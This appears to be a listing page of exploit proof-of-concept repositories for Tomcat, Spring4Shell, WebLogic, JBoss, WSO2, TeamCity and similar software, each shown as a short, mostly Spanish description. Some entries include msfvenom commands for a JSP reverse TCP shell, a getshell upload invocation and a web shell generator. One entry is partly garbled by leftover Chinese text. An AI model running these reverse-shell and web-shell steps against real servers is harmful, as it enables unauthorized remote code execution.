CVE-2025-24813

🚨 CVE-2025-24813 – Exploit de Apache Tomcat PUT JSP RCE Este repositorio contiene una prueba de concepto PoC completa para CVE-2025-24813 , una vulnerabilidad de Ejecución Remota de Código RCE en Apache Tomcat que utiliza el método HTTP PUT para desplegar un web shell malicioso JSP. 🔥 Este exploi...

spring4shell-exploit-poc

Spring4Shell PoC de Explotación Explota una aplicación Spring vulnerable a la vulnerabilidad Spring4Shell. Lea más acerca de Spring4Shell en nuestro blog. Uso Requisitos: Docker y docker-compose $ ./exploit.sh Aplicación Spring Vulnerable La aplicación Spring vulnerable contiene un manejador de...

CVE-2024-50379-POC

CVE-2024-50379-POC Este repositorio contiene un script de Python diseñado para explotar CVE-2024-50379 , una vulnerabilidad que permite a los atacantes subir un shell JSP a un servidor vulnerable y ejecutar comandos arbitrarios de forma remota. Este exploit es particularmente útil cuando el...

Confluence-CVE-2022-26134

Confluence-CVE-2022-26134 Este repositorio habla sobre la explotación de día cero de Atlassian Confluence, desde el punto de vista de defensa y análisis de un equipo de SecOps o Blue Team. Índice Acerca de Cronología Comprendiendo el Exploit Lista de IOCs Estrategia de Detección Planes de...

CVE-2018-2628

CVE-2018-2628 Reproducción de la vulnerabilidad de deserialización de WebLogic weblogic getshell python CVE-2018-2628-Getshell.py ip port shell1.jsp C:\Users\CTF\Desktoppython CVE-2018-2628-Getshell.py 10.10.20.166 7001 jason1.jsp / \ \ / / | | \ / / |/ \ | \ / /| \ / \ | | \ \ / /| | | | | || | ...

CVE-2021-40513

CVE-2021-40513 OSCAR McMaster 19.401235 Reflected Cross Site Scripting Vulnerability A reflected Cross Site Scripting vulnerability exists in multiple pages in version 19.401235 of the OSCAR McMaster application that allows for arbitrary execution of JavaScript commands. Placeholder for CVE mitre...

Fast-CVE-2022-22965

Máquina objetivo docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest El núcleo del shell inverso se refiere a msfvenom msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp Después de codificar el JSP en URL, use %3C%25替换 %25%7Bc2%7Di 代表 En el código, se...

tomcat-cve-2017-12617

Tomcat CVE-2017-12617 Exploit/PoC Apache Tomcat 9.0.1 Beta / 8.5.23 / 8.0.47 / 7.0.8 - Bypass de Subida JSP / Ejecución Remota de Código para Python3 Solo hice algunos ajustes al script original para que sea compatible con Python 3! Si hay algún problema o inconveniente, no dudes en enviarme un...

CVE-2018-2380

CVE-2018-2380 Puntuación base CVSS v3: 6.6/10 PoC de ejecución remota de comandos mediante inyección de logs en SAP NetWeaver AS JAVA CRM Ejemplo de uso del script python crmrce-CVE-2018-2380.py --host 127.0.0.1 --port 50001 --username administrator --password 123QWEasd --SID DM0 --ssl true Dónde...

wsh

wsh wsh pronounced woosh is a web shell generator and command line interface. This started off as just an http client since interacting with webshells is a pain. There's a form, to send a command you have to type in an input box and press a button. I wanted something that fits into my workflow...

spring4shell-poc

Spring4Shell POC Description of the vulnerability: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html Construction of the POC: https://github.com/BobTheShoplifter/Spring4Shell-POC Steps to Build/Run Tested with JDK 11.0.14, Spring Boot 2.6.5, and Apache Tomcat 9.0.60 Run...

spring4shell-poc

Spring4Shell POC Descripción de la vulnerabilidad: https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html Construcción del POC: https://github.com/BobTheShoplifter/Spring4Shell-POC Pasos para construir/ejecutar Probado con JDK 11.0.14, Spring Boot 2.6.5 y Apache Tomcat 9.0.6...

CVE-2022-29464

CVE-2022-29464 Exploit y writeup de WSO2 RCE CVE-2022-29464. Detalles CVE-2022-29464 es una vulnerabilidad crítica en WSO2 descubierta por Orange Tsai. La vulnerabilidad es una carga de archivos arbitraria sin restricciones y sin autenticación, lo que permite a atacantes no autenticados obtener R...

CVE-2009-2265

Versión: ColdFusion 8.0.1 CVE-2009-2265 msfvenom -p java/jspshellreversetcp LHOST=10.10.14.12 LPORT=4444 -f raw shell.jsp python upload.py 10.10.10.11 8500 shell.jsp Ejemplo :...

Spring4Shell-CVE-2022-22965-POC

Spring4Shell-CVE-2022-22965-POC ghost㉿uchiha:$ ./exploit.py --help usage: exploit.py -h -f FILENAME -p PASSWORD -d DIRECTORY url Spring4Shell RCE Proof of Concept positional arguments: url Target URL options: -h, --help show this help message and exit -f FILENAME, --filename FILENAME Name of the...

ghostcat

Esta herramienta explota una vulnerabilidad LFI dentro de Apache Tomcat denominada CVE-2020-1938 no solo para ver archivos sensibles, sino también para ejecutar payloads JSP maliciosos. Se puede descargar aquí tendrás que ejecutarlo desde la línea de comandos Uso: ghostcat target HTTP port AJP po...

CVE-2024-50379-exp

CVE-2024-50379-exp -t Tiempo de condición de carrera -u Nombre de dominio -f Escribir troyano Las pruebas encontraron que la primera condición de carrera tiene una alta probabilidad de fallar en la escritura, por lo que es necesario realizar otra condición de carrera para escribir el troyano. Por...

jboss-autopwn

jboss-autopwn JBoss Autopwn tal como se presentó en BlackHat Europe 2010: esta versión incorpora CVE-2010-0738, la vulnerabilidad de omisión de autenticación de JBoss mediante manipulación de verbos descubierta por Minded Security C. Papathanasiou 2010 INTRODUCCIÓN Este script de JBoss despliega ...

CVE-2022-22965_PoC

Explotación de RCE en Spring Framework Notas rápidas de pentest Paso 1: Encuentra algún endpoint en tu objetivo donde se acepten métodos POST/PUT + codifica tu payload URL encode POST /path/upload HTTP/1.1 Host: Origin: Cookie: JSESSIONID=BE65B534335A5A2538624404C063B70C; Content-Type:...

CVE-2026-63077

Unauthenticated Remote Code Execution in JetBrains TeamCity CVE-2026-63077 Overview This is a proof-of-concept exploit script for CVE-2026-63077. Organizations can use this script to validate their detection and remediation posture. For a full technical analysis of CVE-2026-63077, please read our...